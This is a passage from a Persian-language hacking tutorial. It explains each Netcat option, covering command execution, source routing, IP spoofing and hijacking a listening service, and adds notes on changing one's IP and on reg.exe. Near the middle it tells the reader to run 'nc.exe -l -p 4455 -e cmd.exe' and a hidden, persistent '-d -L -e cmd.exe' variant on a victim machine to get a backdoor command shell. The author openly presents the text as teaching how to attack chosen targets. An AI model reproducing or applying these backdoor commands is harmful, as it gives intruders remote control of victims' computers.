        -w secs         timeout for connects and final net reads 
        -z              zero-I/O mode [used for scanning] 
port numbers can be individual or ranges: m-n [inclusive] 

  
  
  توضيحات  سویچ  

١  -d عامل ویندوز قابل بهره برداری بوده و باعث می شود تا برنامه این گزینه تنها تحت سيستم tNetca در حالت 
 به MS-DOSفعاليت نماید ؛ بدین معنی که به طور مجزا از اعلان  ) stealth modeیا اصطلاحا ( مخفی 

 MS-DOSن  اجازه ميدهد تا بدون نياز به باز نگه داشتن پنجره اعلاNetcatاین گزینه به برنامه . اجرا درآید
همچنين گزینه مورد بحث . به فعاليت خود ادامه دهد ) Mode Listening( ، در حالت آمده یا گوش به زنگ 

  . به مهاجم ميدهدNetcat فعاليت برنامه اطمينان بهتری را درباره
٢  -e <command>   در صورتی که برنامهnc توسط گزینه gaping_security_holeر بار که برنامه ای از  کامپایل شده باشد ، ه

 NCطریق یک پورت به خصوص اقدام به برقراری اتصال با کامپيوتری می کند که عهده دار ميزبانی برنامه 
 را اجرا commandاست ، نمونه آمده به کار از این برنامه که بر روی آن پورت گوش به زنگ است فرمان 

 را از I/O کلاینت جریان ورودی و خروجی و یا  در سمتNCخواهد کرد ، این در حالی است که برنامه 
ماده است گوش به زنگ و آ که در جای دیگری NCای مجازی به نمونه دیگری از برنامه طریق خط لوله 

استفاده از این قابليت فوق اعاده خطرناک است مگر اینکه به فرایند در حال اجرا کاملا مشرف . ارسال ميکند
  مخفی بر روی یک سيستم نمونه به shellسان برای راه اندازی یک ینه روش آگری از این گزبهره . باشيد

  . منظور اجرای فرمانهای مورد نظر محسوب ميشود
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٣  -i<second>   این گزینه مشخص کننده تاخيری است که برنامهNCمابين دو فرایند ارسال  متوالی داده ها منظور ميکند  .
که توسط آرگومان فوق  ، این برنامه به اندازه زمانی NC فایل به برنامه  اطلاعات یکانتقالثال هنگام مبرای 

 بر روی NCاستفاده از برنامه . پيش از دریافت خط بعدی از ورودی تاخير ایجاد ميکند ، مشخص ميشود
 نتعييبا پورت بعدی به اندازه  طارتباچندن پورت از یک رایانه ميزبان موجب ميشود تا این برنامه پيش از 

این قابليت به کاربر اجازه ميدهد تا فرایند انتقال داده ها و . شده توسط آرگومان مورد بحث ثانيه تاخير ایجاد کند
یا حملات احتمالی بر روی یک سرویس موجد را با وضوح بيشتری مشاهده کرده ، ضمن اینکه امکان مراقبت 

  . ، در اختيار مدیر سيستم قرار می دهدIDSها را تحت یک نوع سيستم تشخيص تجاوز یا اصطلاحا  از پورت
۴  -g<route-list>   ختی را برای مسير یابی منبع در واقع این برنامه شيوه سفت س!! استفاده از این زینه ميتواند گول زننده باشد

 IP یا همان IPاین موضع را به زودی در قسمتی با عنوان جعل آدرس ( مورد استفاده قرار نميدهد 
Spoofing گزینه ٨بهره گيری از تعداد حداکثر  . ) توضيح ميدهم –g در سطر فرمان به منظور اجبار در 

(  منبع داده ها IPاین قابليت در مواردی که جعل آدرس .  مشخص مجاز ميباشدIPعبور داده ها از آدرس 
ه و مایل به دریافت مد نظر بود) جهت دور زدن فيلترها دیوار آتش یا ليست آدرس های مجاز برای دست یابی 

به واسطه مسير یابی منبع از طریق کامپيوتر تحت . پاسخ از جانب رایانه ميزبان باشيم ، مفيد واقع ميشود
 را مجبور کنيم تا به جای انتقال به مقصد واقعی خود به آدرس مورد نظر ما IPکنترل خود ميتوانيم بسته های 

مهم است که این فرایند در اغلب موارد غير عملی است  چرا که با این همه توجه به این موضوع . جاری شوند
بيشتر روترها امروزی گزینه مسير یابی مورد بحث را نادیده گرفته ضمن آنکه بيشتر فيلترهای نصب شده بر 

  . را جهت انجام این ار به ثبت ميرساننداقدامیهای و همچنين اغلب دیوارهای اتش هرگونه  روی پورت
۵  -G<hope pointer>   از این گزینه هنگامی استفاده ميشود که خواسته باشيم تا آدرسIPشده توسط ن به خصوصی را در ليست تعيي 

 این آرگومان همواره IPبه دليل ماهيت چهار بایتی آدرس های .  به عنوان آدرس بعدی مشخص کنيم g–گزینه 
 به دومين ٨ و عدد IP به اولين آدرس ۴به گونه ای که عدد .  ظاهر ميشود۴به شکل مضرب های از عدد 

این قابليت برای .  در ليست اشاره ميکند و برای سایر آدرس ها هم به همين ترتيب ادامه پيدا ميکندIPآدرس 
 را به گونه ای جعل کنيم که به نظر آید این IPمواردی مفيد است که بخواهيم که بخشهای از ليست آدرس های 

– جعلی در اولين دو گزینه IPبه این ترتيب که با قرار دادن آدرس های . ن شده اندآدرسها از جای دیگری تعيي
g از ليست آدرس های IP به عنوان آرگومان گزینه ١٢ و استفاده از عدد –G ميتوان ترتيبی داد تا بسته های 

IP مربوطه مستقيما به سومين آدرس IPای اصلی بسته  با این حال محتو. موجد در ليست مسيرها سرازیر شود
از این رو چنين به نظر خواهد رسيد که بسته مورد نظر از . ها کماکان شامل آدرس های جعلی خواهد بود

این . موقعيت طبيعی خود به مقصد ارسال شده ، درحالی که فرایند ارسال از موقعيت متفاوتی انجام شده است
واقع شود ، اما هيچ تضمينی در مورد دریافت پاسخ  مسير یابی منبع مفيد IPقابليت ميتواند هنگام جعل آدرس 

از جانب ميزبان در دست نخواهد بود ، چرا که ميزبان مورد نظر سعی خواهد داشت تا مسير را از ان چه که 
  . جعل شده مشخص ميکند ، منحرف نماید IPآدرس 

۶  -l   این گزینه باعث فعال یا غير فعال  شدن حالت گوش به زنگ یاListening mode در برنامه NCميشود  .
 جهت NC مورد نظر به منظور انظار برنامه TCP برای تعيين پورت p–گزینه فوق باید به همراه گزینه 

 به جای UDPبرای بهره گيری از پورت های . برقراری ارتباط بر روی آن پورت مور استفاده قرار بگيرد
TCP کافی است به جای گزینه –p از –uاستفاده کنيد .  

٧  -L   این گزینه تنها در سيستم های نوع ویندوز قابل استفاده بوده و نسبت به گزینه قبلی یعنی گزینه–L از قابليت 
 را مجبور ميکند تا پس از بستن یک اتصال ، اقدامی NCگزینه مورد بحث برنامه . بيشتری برخوردار است

به ترتيب . نه سطر فرمان مورد نظر انجام دهدرا جهت تغيير حالت مجدد گوش به زنگ با بهره گيری از گزی
T برنامه NC فرآیند اتصال  ميتواند در خواست بعدی جهت اتصال را بدون دخالت کاربر و حتی پس از آن که

 بهره گيری از این گزینه مستلزم استفاده از l–مشابه گزینه . اوليه به اتمام رسيده و بسته شده است ، بپذیرد
  .باشد ميu– یا p–گزینه 

٨  -n   استفاده از این گزینه برنامهNC هنگامه . ميزبان منع ميکندنام  را از هرگونه کوششی به منظور دستيابی به
استفاده از گزینه مذکور اطمينان حاصل کنيد که نام هيچ ميزبانی را به عنوان آرگومان سطر فرمان مورد بهره 

  .برداری قرار نداده اید
٩  -o<hexfile>  از این گزینه باعث ميشود تا داده ها به صورت هگزادسيمال یا مبنای شانزده در فایلی با مشخصه استفاده 

lehexfiفرمان .  ذخيره شودnc -o hexfile هم داده های ورودی هم داده های خروجی را به صورت 
 خروجی خواهند به ترتيب بيانگر داده های ورودی و< و > در فایل حاصل علامت . هگزادسيمال ذخيره ميکند

 برای اینکه عمليات حاصل از به کار گيری این گزینه تنها بر روی داده ورودی انجام شود کافی است .بود
 عمليات nc –o > hexfileبه طور مشابه فرمان . تغيير دهيد  nc –o < hexfileفرمان فوق را به صورت 

  .مورد نظر را تنها بر روی داده های خروجی انجام ميدهد
١٠  -p<port>   ميتوان شماره پورت محلی مورد استفاده برنامه با بهره گيری از این گزینهNCبه کارگيری .  را مشخص نمود

در صورتی که .  جهت تحصيل گوش به زنگ امری ضرری استL– یا l–این گزینه هنگام استفاده از گزینه 
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این ( ن اختصاص بدهد استفاده خواهد کرد  از هر پورتی که سيستم به آNCاز گزینه مورد بحث استفاده نشود 
به خاطر ) .  شاهد آن هستيم UDP یا TCPوضعيت چيزی است که در مورد بيشتر برنامه های کاربردی 

 قادر به استفاده از پورت های rootداشته باشيد که در سيستم نوع یونيکس تنها کاربر اصلی موسوم به 
  . است١٠٢۴کوچکتر از 

١١  -r   برنامهnc های مبدا و مقصد را به صورت  های راه دور یا به عبارت دیگر پورت های محلی و پورت پورت
اطلاعاتی  با استفاده از این برنامه ليت در مواقعی مفيد واقع ميشود که بخواهيم باین قا. تصادفی انتخاب ميکند

تيبی نامشخص از پورت را درباره محدوده بزرگی از پورت های موجد بر روی سيستم به دست آورده و تر
این فعاليت به فرایند پيمایش یا اسکن پورت های موجود . های مبدا و مقصد را مورد بهره برداری قرار دهيم

 گمراه NC تشابه کمی داشته و بدین ترتيب سيستم های ردیابی را در پيگيری فعاليت های NCتوسط برنامه 
 با یک تاخير تقریبا طولانی استفاده شود ، ان گاه فرایند i–نه چنان چه از این گزینه به همراه گزی. خواهد کرد

انتخاب پورت ها تشابه کمتری با اسکن آن ها خواهد داشت ، با وجود این یک مدیر سيستم باهوش با کمی دقت 
  .و حوصله در وقایع ثبت شده توسط سيستم همواره می تواند به موضوع فوق پی ببرد

١٢  -s   این گزینه آدرسIP  منبعی را که برنامهNC باید هنگام برقراری ارتباطات خود از آن ها استفاده کند مشخص 
پيش . گزینه فوق به مهاجمين اجازه ميدهد تا حقه هایی را به دور از چشمان مدیران سيستم سوار کنند. می نماید

 را در اختيار آنها قرار  دیگرانIP مهاجمين یا جعل آدرس IPاز هر چيز این گزینه امکان پنهان کردن آدرس 
درس مورد استفاده عات ارسالی به آدر صورت جعل آدرس مهاجم مورد نظر برای دست یابی به اطلا. می دهد

نکته بعدی این است که در بسياری از موارد در حالت .  جهت مسير یابی منبع بهره بگيردg–وی باید از گزینه 
 UDP یا TCPهمان گونه که ميدانيد تمام سرویس های . کردگوش به زنگ می توان اقدام به ربودن سرویس 
 شماره UDP بر روی پورت SYSLOGبرای مثال سرویس  .از طریق پورت مشخصی قابل دستيابی هستند

 به NCبا این وجد در صورت استفاده از برنامه .  جهت دریافت داده ها مورد نظر قابل استفاده است۵١۴
 منبع هر IP جهت تعيين آدرس s– و نيز بهره گيری از گزینه ۵١۴شماره  پورتمنظور گوش فرا دادن به 

  . قرار خواهد گرفت NC مذکور ابتدا در اختيار برنامه IPگونه اطلاعات ارسالی به آدرس 
١٣  -t   در صورتی که برنامهNC با بهره گيری از گزینه TELNET کامپایل شده باشد استفاده از این گزینه امکان 

هرچند ممکن است اطلاعات رد بدل شده به اندازه .  به گفتگو بنشيندTelnet با سرور NCبرنامه ميدهد تا 
 که پورت متداول جهت اتصال ٢٣ شماره TCPبا مفهوم به نظر نرسد اما تلاش برای اتصال به پورت کافی 

  .صفحه ظاهر شود بر روی Telnet می باشد ، موجب خواهد شد تا اعلان اتصال به برنامه Telnetبه سرور 
١۴  -u   این گزینه موجب ميشود تاNC به جای استفاده از پروتکل TCP از پروتکل UDPاز این گزینه .  بهره گيرد

  .ميتوان هم در حالت کلاینت و یا سرور بهره برد
١۵  -v  این گزینه ميزان اطلاعاتی را که برنامهNC عدم . کند باید در فعاليت خود به کاربر گزارش بدهد مشخص مي

.  هيچ اطلاعاتی در مورد روند کار خود در اختيار کاربر قرار ندهدNCاستفاده از این گزینه موجب ميشود تا 
 در صورت بروز هرگونه مشکلی NC باعث ميشود تا برنامه v–از طرف دیگر استفاده از یک گزینه 

همچنين بهره گيری از . ر اختيار بگذارداطلاعاتی را در مورد آدرسی که قصد برقراری ارتباط با ان را دارد د
 کاربر خود را در جریان ميزان اطلاعات ارسالی یا دریافتی قرار NC متوالی باعث خواهد شد تا v–دو گزینه 

  .دهد
١۶  -w<seconds>  این گزینه مدت زمان را بر حسب ثانيه مشخص ميکند که برنامهNC باید پيش از صرفنظر از اتصال ، برای 

 پس از مواجه با NCگزینه مذکور هم چنين مدت زمانی را مشخص ميکند که برنامه . ی آن منتظر بماندبرقرار
حين دریافت اطلاعات از ورودی استاندارد ، پيش از  ) End-Of-Fileشاخص پایان فایل یا   (EOFشاخص 

که قصدمان ارسال این رفتار در مواردی از اهميت خاص برخوردار است . بستن اتصال باید منتظر بماند
 به یک سرور راه دور بوده و انتظار دریافت حجم بزرگی از اطلاعات را NCفرمان مورد نظر از طریق 

  ) به وب سرور جهت بارگيری یک فایل حجيم HTTPمانند ارسال یک فرمان ( داشته باشيم 
١٧  -z ی بهره گيری از ابزار در صورتی که قصدمان تنها اطلاع از پورت های باز باشد ، به احتمال قوnmap 

 را وادار می کند تا تنها اطلاعاتی را در حد کفایت راجه به پورت هایی NC برنامه z–اما گزینه . کفایت ميکند
که از مجموعه که برنامه های مختلف از طریق آنها در حالت گوش به زنگ به سر ميبرند ، در اختيار قرار 

  .دهد
  

بندی با خودتان ، من کامل توضيح دادم پس خودتان با توجه به نيازتان ترکيب های مختلفی را به وجد آورید مثل دیگه استفاده و شيوه ترکيب 
  :این چند ترکيب مشهور 

C :\> nc.exe -l -p 4455 -e cmd.exe 
 خط فرمان اجرا شود و  یا همانCMD ماشين هدف برنامه  ۴۴۵۵این ترکيب مشهور را باید روی ماشين قربانی اجرا کنيد تا روی پورت 

اگر قبل از !! این یکی فقط بخاطر رایگان بودن مقاله به غایت( .  به ان دسترسی پيدا کنيد۴۴۵۵ ساده به پورت شماره  Telnetشما با یک 
 باز پورت ،   اگر پنجره خط فرمان ، که در آن دستور باز شدن پورت را صادر کرده اید بسته هم شود را استفاده کنيدd– سویچ e–سویچ 
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 دیگر NC استفاده کنيد بعد اتمام کار شما با برنامه L– از گزینه l– ؛ اگر به جای گزینه مورد نظر باز ميماند و برنامه پشت آن گوش به زنگ
سعی پس .  ) را نگه ميداردCMDاز پشت پورت خارج نميشود و هميشه تا راه اندازی مجدد آن ماشين پشت آن پورت گوش به زنگ برنامه 

  : در این باره به صورت زیر استفاده کنيدNCاز شکل عمومی !! کنيد حتی اگر این توضيحات را هم متوجه نشدید 
  

C :\> nc.exe –p 4455 –d –L –e cmd.exe 
  

  !!اجرا کنيد  هم توصيه ميکنم از پورت های شماره بالا استفاده کنيد و نيز ميتوانيد به جای خط فرمان هر چيز دیگری را ۴۴۵۵بجای عدد 
  .این یک بار دیگر بگم این فرمان بالا را باید روی ماشين قربانی اجرا کنيد نه روی ماشين خودتان 

  
  :زنگ تفریح

   خود را عوض کنيم؟IP چگونه  
تخصيص  IP  کبه شما ی DHCP ، پروتکل ویدش  ميهر موقع که به اینترنت وصل .عوض کنين Range از همون دیگه IP خودتون را با یه  IP جوریدر این مقاله آموزش می دیم چه 

ين تمامي درخواستها به یه وب سرور هوقتي که ميخوا  یا  !!هستين  DDoSموقعي که شما تحت حمله  مثلا  !کار چندان سختي نيست و البته ميتونه مفيد هم باشه IP عوض کردن این  .دميده
به  ...خودتون استفاده کنين و یا  Rangeدیگه در  IPشما بسته شده و ميخواین به جاي اون از یه   IPیا فرضاً وقتي که ! ) ا ميخورد این به درد م( کنين  Redirect رو به طرف خودتون 

 !ميکنين  پيدا   احتياج IP تغيير دادن
  :اطلاعات مورد نياز
،  پيش گزیده  (Gateway)، مدخل Subnet Mask   ،شما  IPمحدوده  : ز این اطلاعات عبارتند ا .نخودتون رو عوض کنين، باید یه سري اطلاعات جمع کني  IP دنياقبل از اینکه شما بتو

   .DNSو سرورهاي   DHCPسرور 
 
جدید  IP زیر براي شما ميتونين به طور مشخص از محدوده  .باشه  24.193.110.255شما  IPفرض کنيد  !اصلاً سخت نيست IP Rangeبدست اوردن (IP )  : به دست اوردن محدوده  -١

  :خودتون انتخاب کنين 
  

           24.193.110.255 > [آي پي جدید] > 24.193.110.1
 
  :باز کنين و توش تایپ کنين DOS یه خط فرمان  ! تس  ا اینها هم سادهاردونبه دست DNS : و  DHCP ، مدخل، سرور Subnet Maskبه دست اوردن  -٢
 ipconfig /all  د بتونين یه چيزي شبيه به این ببينيشما حالا باید :  
  

Host Name . . . . . . . . . . . . : My Computer Name Here 
Primary Dns Suffix . . . . . . . : 
Node Type . . . . . . . . . . . . : Unknown 
IP Routing Enabled. . . . . . . . : No 
WINS Proxy Enabled. . . . . . . . : No 
 
Ethernet adapter Local Area Connection: 
 
Connection-specific DNS Suffix . : xxxx.xx.x 
Description . . . . . . . . . . . : NETGEAR FA310TX Fast Ethernet Adapter (NGRPCI) 
Physical Address. . . . . . . . . : XX-XX-XX-XX-XX-XX 
Dhcp Enabled. . . . . . . . . . . : Yes 
Autoconfiguration Enabled . . . . : Yes 
IP Address. . . . . . . . . . . . : 24.xxx.xxx.xx 
Subnet Mask . . . . . . . . . . . : 255.255.240.0 
Default Gateway . . . . . . . . . : 24.xxx.xxx.x 
DHCP Server . . . . . . . . . . . : 24.xx.xxx.xx 
DNS Servers . . . . . . . . . . . : 24.xx.xxx.xxx 
24.xx.xxx.xx 
24.xx.xxx.xxx 
Lease Obtained. . . . . . . . . . : Monday, January 20, 2003 4:44:08 PM 
Lease Expires . . . . . . . . . . : Tuesday, January 21, 2003 3:43:16 AM 

  
براي کپي کردن، متن رو انتخاب کنين و یکبار روش ( . کپي کنينا ر آن یا اینکه اطلاعاتدارینرو باز نگه  DOS هتره اون خط فرمان ب . این تموم اطلاعاتي بود که نياز داشتين ! خوب

  )کليک کنين
 
 IPاین ) ! جدید مُرده IPل مطمئن بشين که این به نظر من بهتره او ) یادتون نره که تو محدوده باشه ! ( انتخاب کنين IP کخودتون، اول باید ی  IPبراي عوض کردن   : IPعوض کردن  -٣
  Connectionو روي   Network Connectionsبرید به   Control Panelحالا در  .داد مطمئن باشين که ميشه ازش استفاده کرد Time Out  پينگ کنين و اگه )که انتخاب کردی ( ا ر

در پنجره  .د بزنيار  Properties انتخاب کنين و دکمه ار ( Internet Protocol TCP/IP) حالا  .Networking د به برگه  بزنين و بریار Properties دکمه   .فعال دابل کليک کنين
 .ددین پر کنيبه دست اور ٢ با توجه به اطلاعاتي که در قسمت ار  Use the following DNS server   addressesو  Use the following IP address جدیدي که باز شده، قسمتهاي 

در  ! فقط یه تست کوچيک مونده .حالا تغييرات رو ثبت و تأیيد کنين . وارد کنينار  DNS Serverو در قسمت دوم، آدرس   )جدید  ( IPاي رو که انتخاب کردید   IP،  در قسمت اول
 براي اینکه مطمئن بشين که تغييرات اعمال شدن، دوباره در خط فرمان  .دد دارین کار ميکنيجدی  IPاگه صفحه سایت اومد، بدونين که با  .د وارد کنيامرورگر خودتون، آدرس یه سایت ر

DOS  تایپ کنين ip config /all  ،اگه پس از اجراي این دستورIP  وDNS جدید رو دیدید، بدونين که درست عمل کردید 
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   :REG.exe برنامه معرفیضميمه هفتم و البته آخرين ضميمه ؛ 

  
د خيلی مواقع شما به سيستم هدف دست پيدا کنيد تحت یک کاربر محدود و شما دانش استفاده از رجيستری را دارا هستيد ولی ابزار خوب شای

این کار را ندارید در بيشتر مواقع ویرایش گر گرافيکی رجيستری نيز در دسترس نيست و کار آدم خيلی مشکل ميشود حال شما اگر اطلاعاتی 
  . داشته باشيد تمام مشکلات شما حل ميشود reg.exeدر باره ابزار 

  
  .  کتابی که معرفی کرده ام در پایين ، پيدا کنيد١۴کار با آن ساده است قصد توضيح دادن آن را ندارم ميتوانيد توضيحات کامل ان را در

  
  :اختتاميه 

  
 امنيت را می گشتم  که دیدم سایت آشيانه مبالغ هنگفتی شب پيش داشتم سایت های خسته شده ام از بس که تایپ کرده ام خوب دیگر واقعاً

  ...من گفتم ای بابا.... می دهد و البته متدهای برای هک فقط در شرایط خاص ورا آموزش !! ميگيرد و مطالبی در همين سطح و البته پایين تر
  

فقط (در این شيوه ، شما مثل یک انسان عقده ای که یک . در این مقاله آموزش سيستماتيک حمله را به شما دوستان آموزش بدهممن سعی کردم 
متد را بلد است و فقط دنبال ماشين های خاصی ميگردد که به وسيله آن متد آسيب پذیر هستند ؛ نيستيد بلکه شما با انتخاب یک هدف ) یک

کار بسيار آسان است ، و نيازی به . خود برسيدخاص و البته باید برای شما هم صرف هم داشته باشد شروع به حمله به آن ميکنيد تا به هدف 
همين بس ، باور کنيد این مطلب خيلی راحت است اعتماد به مواقع ندارد فقط باید حوصله داشته باشد % ٩٠داشتن اطلاعات آنچنانی نيز در 
، دیگه همين چند تا کتاب ) از مواقع% ٧٠ز  تا به حال هر چه یاد گرفت ام از کتاب بوده در بيش امن واقعاً(نفس داشته باشد و مطالعه کنيد 

  . در این راه آن را پيدا کنيد بخوانيد خيلی به شما کمک ميکندE-BOOKپایين معرفی ميکنم اگر حوصله دارید 
  
  )توصيه ميشود  ( . که فکر کنم از سایت کروز بتوانيد پيدا کنيد Hacking Exposed کتاب -١
  . آن هم از سایت کروز قابل بارگيری است کهHacking Linux Exposed کتاب -٢
  
  
   که این شکلی Security-Warrior کتاب -٣
  
  
  
  )توصيه ميشود. ( مطالب این مقاله از آن است % ۴۵ که بيش از Anti-Hacker toll kit کتاب -۴
  )توصيه ميشود. (  که خوب است Computer Crime Incident Response: Investigatingکتاب  -۵
  . که چندین ترجمه از ان نيز موجد ميباشدHack Counterتاب  ک-۶
  . که در باره هنر مخ زنی Kevin Mitnick Art Of Deception کتاب -٧
   .ت که از مایکروساف  Security+ کتاب -٨
  !!)در صورت بيکاری بد نيست(  .Google Hack کتاب -٩
  !!بالای است یا شاید یک درجه بالاتر  که این هم مثل Hack Proofing Your Network کتاب -١٠
  . هم بد نيستMicrosoft Windows XP registry guideکتاب  -١١
  .... و -١٢

  
  :در مطالعه از ضروریات است که این شکلی هم Microsoft Computer Dictionary با عنوان تمایکروساففرهنگ لغت کتاب داشتن ** 

  

  
  

***  
 به اميد موفقيت برای همه ، البته در هر کاری که هستند و نيز  ؛ باشد برای شما دستان واقعر هستم این مقاله مفيدبه پایان مقاله رسيدیم اميدوا

  .در هر مقطعی که هستند 
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٧١    صفحه  !!آموزش هک و معرفی نرم افزار های مربوطه توسط خودم 

   .Zxo003دوستار تمامی دوستان 
  ".آقای من "                                             یا با نام مستعار 

  ".خوژت هکر "                                                                  با تشکر از هم کاری خودم               
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